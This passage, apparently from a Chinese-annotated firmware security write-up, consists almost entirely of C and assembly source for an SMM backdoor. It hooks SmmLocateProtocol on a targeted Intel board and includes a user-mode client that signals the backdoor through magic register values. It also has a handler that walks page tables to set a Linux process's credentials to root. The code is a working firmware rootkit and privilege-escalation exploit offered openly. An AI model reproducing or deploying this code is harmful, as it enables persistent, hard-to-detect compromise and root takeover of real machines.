);
}
else
{
DbgMsg(__FILE__, __LINE__, "RegisterProtocolNotify() fails: 0x%X\r\n", Status);
}

// ... skipped ...
}

#define AMI_USB_SMM_PROTOCOL_GUID { 0x3ef7500e, 0xcf55, 0x474f, \
{ 0x8e, 0x7e, 0x00, 0x9e, 0x0e, 0xac, 0xec, 0xd2 }}

EFI_LOCATE_PROTOCOL old_SmmLocateProtocol = NULL;

EFI_STATUS EFIAPI new_SmmLocateProtocol(
EFI_GUID *Protocol,
VOID *Registration,
VOID **Interface)
{
EFI_GUID TargetGuid = AMI_USB_SMM_PROTOCOL_GUID;

/*
完全针对英特尔DQ77KB主板的攻击，
SmmLocateProtocol 和 AMI_USB_SMM_PROTOCOL_GUID 在APIC初始化后的OS启动过程中被调用
*/
if (Protocol && !memcmp(Protocol, &TargetGuid, sizeof(TargetGuid)))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"()\r\n");

if (m_PeriodicTimerDispatchHandle)
{
// 卸载先前注册的timer
PeriodicTimerDispatch2Unregister(m_PeriodicTimerDispatchHandle);
m_PeriodicTimerDispatchHandle = NULL;
}

// 再次启用 periodic timer SMI
PeriodicTimerDispatch2Register(&m_PeriodicTimerDispatchHandle);

// 移除钩子
gSmst->SmmLocateProtocol = old_SmmLocateProtocol;
}

// 调用原始函数
return old_SmmLocateProtocol(Protocol, Registration, Interface);
}
//--------------------------------------------------------------------------------------
VOID BackdoorEntrySmm(VOID)
{
PVOID Registration = NULL;

// ... skipped ...

// hoot SmmLocateProtocol() SMST函数，在操作系统启动时执行后门代码
old_SmmLocateProtocol = gSmst->SmmLocateProtocol;
gSmst->SmmLocateProtocol = new_SmmLocateProtocol;

// ... skipped ...
}

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>

// 在汇编中实现的外部功能
extern int smm_call(long code, unsigned long long arg1, unsigned long long arg2);

int main(int argc, char *argv[])
{
int ret = 0;
cpu_set_t mask;

CPU_ZERO(&mask);
CPU_SET(0, &mask);

// 告诉调度程序只在第一个CPU上运行当前进程
ret = sched_setaffinity(0, sizeof(mask), &mask);
if (ret != 0)
{
printf("sched_setaffinity() ERROR %d\n", errno);
return errno;
}

int code = 0;
unsigned long long arg1 = 0, arg2 = 0;

/*
从命令行参数解析SMM后门调用的参数。
*/

if (argc >= 2)
{
if ((code = strtol(argv[1], NULL, 16)) == 0 && errno == EINVAL)
{
printf("strtol() ERROR %d\n", errno);
return errno;
}
}

if (argc >= 3)
{
if ((arg1 = strtoull(argv[2], NULL, 16)) == 0 && errno == EINVAL)
{
printf("strtoull() ERROR %d\n", errno);
return errno;
}
}

if (argc >= 4)
{
if ((arg2 = strtoull(argv[3], NULL, 16)) == 0 && errno == EINVAL)
{
printf("strtoull() ERROR %d\n", errno);
return errno;
}
}

printf(
"Calling SMM backdoor with code = 0x%x and args 0x%llx, 0x%llx...\n",
code, arg1, arg2
);

/*
跳转到死循环以调用SMM后门。
如果后门不可用 —— 这个函数会一直挂起。
*/
ret = smm_call(code, arg1, arg2);

printf("Sucess! Status code: 0x%.8x\n", ret);

return ret;
}

客户端代码的汇编部分：BITS 64
GLOBAL smm_call

;
; 供后门检测的magic值
;
%define R8_VAL 0x4141414141414141
%define R9_VAL 0x4242424242424242

;
; int smm_call(long code, unsigned long long arg1, unsigned long long arg2)
;
; 向SMM后门发送带有指定代码和参数的控制请求
;
;
; Returns EFI_STATUS of requested operation.
;
smm_call:

push rcx
push r8
push r9

; SMI timerhandler检查R8和R9是否有magic值
mov r8, R8_VAL
mov r9, R9_VAL

xor rax, rax
dec rax

; 以RCX作为指令地址跳转到循环中
mov rcx, _loop
jmp rcx

; 结束地址为修改后的RCX值
nop
nop
nop
nop
nop
nop
jmp short _end

_loop:
;
; 当进程在具有magic寄存器值的死循环中运行时，
; 将调用SMI计时器handler。
; SMM backdoor使RCX值递减 (--> jmp _end) ，退出循环
; SmmCallHandle()的代码和参数将进入RDI和RSI。
;
nop
jmp rcx

_end:

pop r9
pop r8
pop rcx

; SMM后门将状态码返回至RAX寄存器中
ret

sys_getuid:

65 48 8b 04 25 00 c7 00 00     mov %gs:0xc700, %rax      ; get task_struct
48 8b 80 88 03 00 00           mov 0x388(%rax), %rax     ; get task_struct->cred
8b 40 04                       mov 0x4(%rax), %eax       ; get desired value from cred
c3                             retq

*/
EFI_STATUS SmmCallHandle(UINT64 Code, UINT64 Arg1, UINT64 Arg2, PCONTROL_REGS ControlRegs)
{
EFI_STATUS Status = EFI_INVALID_PARAMETER;
switch (Code)
{
case BACKDOOR_PRIVESC:
{
UINT64 Addr = 0, GsBase = 0;
int OffsetTaskStruct = 0, OffsetCred = 0;
unsigned char OffsetCredVal = 0;

if (Arg1 == 0)
{
DbgMsg(__FILE__, __LINE__, "ERROR: Arg1 must be specified\r\n");

Status = EFI_INVALID_PARAMETER;
goto _end;
}

// 检查是否启用长模式分页
if (!Check_IA_32e(ControlRegs))
{
DbgMsg(__FILE__, __LINE__, "ERROR: IA-32e paging is not enabled\r\n");

Status = EFI_INVALID_PARAMETER;
goto _end;
}

DbgMsg(__FILE__, __LINE__, "Syscall address is 0x%llx\r\n", Arg1);

// 获取系统调用的物理地址
if ((Status = VirtualToPhysical(Arg1, &Addr, ControlRegs->Cr3)) == EFI_SUCCESS)
{
/*
用户模式程序(smm_call)在1-st参数中传递sys_getuid/euid/gid/egid函数地址，
我们需要分析它的代码并得到task_struct、cred和uid/euid/gid/egid字段的偏移量。
然后只需要设置字段值为0（root）

sys_getuid code as example:

mov %gs:0xc700, %rax ; get task_struct
mov 0x388(%rax), %rax ; get task_struct->cred
mov 0x4(%rax), %eax ; get desired value from cred
retq
*/
if (memcmp((void *)(Addr + 0x00), "\x65\x48\x8b\x04\x25", 5) ||
memcmp((void *)(Addr + 0x09), "\x48\x8b\x80", 3) ||
memcmp((void *)(Addr + 0x10), "\x8b\x40", 2))
{
DbgMsg(__FILE__, __LINE__, "ERROR: Unexpected binary code\r\n");

Status = EFI_INVALID_PARAMETER;
goto _end;
}

// 获取字段偏移
OffsetCredVal = *(unsigned char *)(Addr + 0x12);
OffsetTaskStruct = *(int *)(Addr + 0x05);
OffsetCred = *(int *)(Addr + 0x0c);

DbgMsg(
__FILE__, __LINE__,
"task_struct offset: 0x%x, cred offset: 0x%x, cred value offset: 0x%x\r\n",
OffsetTaskStruct, OffsetCred, OffsetCredVal
);
}
else
{
DbgMsg(
__FILE__, __LINE__,
"ERROR: Unable to resolve physical address for 0x%llx\r\n", Arg1
);

goto _end;
}

// 获取GS段基址
GsBase = __readmsr(IA32_KERNEL_GS_BASE);

DbgMsg(__FILE__, __LINE__, "GS base is 0x%llx\r\n", GsBase);

// 检查GS基址是否指向用户模式
if ((GsBase >> 63) == 0)
{
DbgMsg(__FILE__, __LINE__, "ERROR: Bad GS base\r\n");

Status = EFI_INVALID_PARAMETER;
goto _end;
}

// 获取GS基址的物理地址
if ((Status = VirtualToPhysical(GsBase, &Addr, ControlRegs->Cr3)) == EFI_SUCCESS)
{
UINT64 TaskStruct = *(UINT64 *)(Addr + OffsetTaskStruct);

DbgMsg(__FILE__, __LINE__, "task_struct is at 0x%llx\r\n", TaskStruct);

// 获取task_struct结构体的物理地址
if ((Status = VirtualToPhysical(TaskStruct, &Addr, ControlRegs->Cr3)) == EFI_SUCCESS)
{
UINT64 Cred = *(UINT64 *)(Addr + OffsetCred);

DbgMsg(__FILE__, __LINE__, "cred is at 0x%llx\r\n", Cred);

// 获取task_struct->cred结构体的物理地址
if ((Status = VirtualToPhysical(Cred, &Addr, ControlRegs->Cr3)) == EFI_SUCCESS)
{
int *CredVal = (int *)(Addr + OffsetCredVal);

DbgMsg(
__FILE__, __LINE__,
"Current cred value is %d (setting to 0)\r\n", *CredVal
);

// 设置root权限
*CredVal = 0;
}
else
{
DbgMsg(
__FILE__, __LINE__,
"ERROR: Unable to resolve physical address for 0x%llx\r\n", Cred
);
}
}
else
{
DbgMsg(
__FILE__, __LINE__,
"ERROR: Unable to resolve physical address for 0x%llx\r\n", TaskStruct
);
}
}
else
{
DbgMsg(
__FILE__, __LINE__,
"ERROR: Unable to resolve physical address for 0x%llx\r\n", GsBase
);
}
}
}

_end:

return Status;
}

#define PFN_TO_PAGE(_val_) ((_val_) << PAGE_SHIFT)
#define PAGE_TO_PFN(_val_) ((_val_) >> PAGE_SHIFT)

// 从CR3寄存器值中获取MPL4的地址
#define PML4_ADDRESS(_val_) ((_val_) & 0xfffffffffffff000)

// 从虚拟地址获取PML4索引
#define PML4_INDEX(_addr_) (((_addr_) >> 39) & 0x1ff)
#define PDPT_INDEX(_addr_) (((_addr_) >> 30) & 0x1ff)
#define PDE_INDEX(_addr_) (((_addr_) >> 21) & 0x1ff)
#define PTE_INDEX(_addr_) (((_addr_) >> 12) & 0x1ff)

#define PAGE_OFFSET_4K(_addr_) ((_addr_) & 0xfff)
#define PAGE_OFFSET_2M(_addr_) ((_addr_) & 0x1fffff)

// PDPTE 和 PDE的 PS flag
#define PDPTE_PDE_PS 0x80

#define INTERLOCKED_GET(_addr_) InterlockedCompareExchange64((UINT64 *)(_addr_), 0, 0)

BOOLEAN Check_IA_32e(PCONTROL_REGS ControlRegs)
{
UINT64 Efer = __readmsr(IA32_EFER);

/*
检查SMI执行时是否启用了IA-32长模式内存转换机制。
*/
if (!(ControlRegs->Cr0 & CR0_PG))
{
DbgMsg(__FILE__, __LINE__, "ERROR: CR0.PG is not set\r\n");
return FALSE;
}

if (!(ControlRegs->Cr4 & CR4_PAE))
{
DbgMsg(__FILE__, __LINE__, "ERROR: CR4.PAE is not set\r\n");
return FALSE;
}

if (!(Efer & IA32_EFER_LME))
{
DbgMsg(__FILE__, __LINE__, "ERROR: IA32_EFER.LME is not set\r\n");
return FALSE;
}

return TRUE;
}
//--------------------------------------------------------------------------------------
EFI_STATUS VirtualToPhysical(UINT64 Addr, UINT64 *Ret, UINT64 Cr3)
{
UINT64 PhysAddr = 0;
EFI_STATUS Status = EFI_INVALID_PARAMETER;

X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PML4Entry;

DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): CR3 is 0x%llx, VA is 0x%llx\r\n", Cr3, Addr);

// 获取给定虚拟地址的PML4表入口点
PML4Entry.Uint64 = INTERLOCKED_GET(PML4_ADDRESS(Cr3) + PML4_INDEX(Addr) * sizeof(UINT64));

DbgMsgMem(
__FILE__, __LINE__, "PML4E is at 0x%llx[0x%llx]: 0x%llx\r\n",
PML4_ADDRESS(Cr3), PML4_INDEX(Addr), PML4Entry.Uint64
);

// 检查该入口点是否存在
if (PML4Entry.Bits.Present)
{
X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PDPTEntry;

// 获取给定虚拟地址的PDPTE
PDPTEntry.Uint64 = INTERLOCKED_GET(PFN_TO_PAGE(PML4Entry.Bits.PageTableBaseAddress) +
PDPT_INDEX(Addr) * sizeof(UINT64));

DbgMsg(
__FILE__, __LINE__, "PDPTE is at 0x%llx[0x%llx]: 0x%llx\r\n",
PFN_TO_PAGE(PML4Entry.Bits.PageTableBaseAddress),
PDPT_INDEX(Addr), PDPTEntry.Uint64
);

// 检查该入口点是否存在
if (PDPTEntry.Bits.Present)
{
// 检查页大小flag
if ((PDPTEntry.Uint64 & PDPTE_PDE_PS) == 0)
{
X64_PAGE_DIRECTORY_ENTRY_4K PDEntry;

// 获取小于1Gbyte页的给定虚拟地址的PDE
PDEntry.Uint64 = INTERLOCKED_GET(PFN_TO_PAGE(PDPTEntry.Bits.PageTableBaseAddress) +
PDE_INDEX(Addr) * sizeof(UINT64));

DbgMsg(
__FILE__, __LINE__, "PDE is at 0x%llx[0x%llx]: 0x%llx\r\n",
PFN_TO_PAGE(PDPTEntry.Bits.PageTableBaseAddress), PDE_INDEX(Addr),
PDEntry.Uint64
);

// 检查该入口点是否存在
if (PDEntry.Bits.Present)
{
// 检查页大小flag
if ((PDEntry.Uint64 & PDPTE_PDE_PS) == 0)
{
X64_PAGE_TABLE_ENTRY_4K PTEntry;

// 获取4KB页的给定虚拟地址的PDE
PTEntry.Uint64 = INTERLOCKED_GET(PFN_TO_PAGE(PDEntry.Bits.PageTableBaseAddress) +
PTE_INDEX(Addr) * sizeof(UINT64));

DbgMsg(
__FILE__, __LINE__, "PTE is at 0x%llx[0x%llx]: 0x%llx\r\n",
PFN_TO_PAGE(PDEntry.Bits.PageTableBaseAddress), PTE_INDEX(Addr),
PTEntry.Uint64
);

// 检查该入口点是否存在
if (PTEntry.Bits.Present)
{
// 获取所需的物理地址
PhysAddr = PFN_TO_PAGE(PTEntry.Bits.PageTableBaseAddress) +
PAGE_OFFSET_4K(Addr);

Status = EFI_SUCCESS;
}
else
{
DbgMsg(
__FILE__, __LINE__,
"ERROR: PTE for 0x%llx is not present\r\n", Addr
);
}
}
else
{
// 获取2MB页所需的物理地址
PhysAddr = PFN_TO_PAGE(PDEntry.Bits.PageTableBaseAddress) +
PAGE_OFFSET_2M(Addr);

Status = EFI_SUCCESS;
}
}
else
{
DbgMsg(
__FILE__, __LINE__,
"ERROR: PDE for 0x%llx is not present\r\n", Addr
);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ERROR: 1Gbyte page\r\n");
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ERROR: PDPTE for 0x%llx is not present\r\n", Addr);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ERROR: PML4E for 0x%llx is not present\r\n", Addr);
}

if (Status == EFI_SUCCESS)
{
DbgMsg(__FILE__, __LINE__, "Physical address of 0x%llx is 0x%llx\r\n", Addr, PhysAddr);

if (Ret)
{
// 返回已解析的物理地址给调用者
*Ret = PhysAddr;
}
}

return Status;
}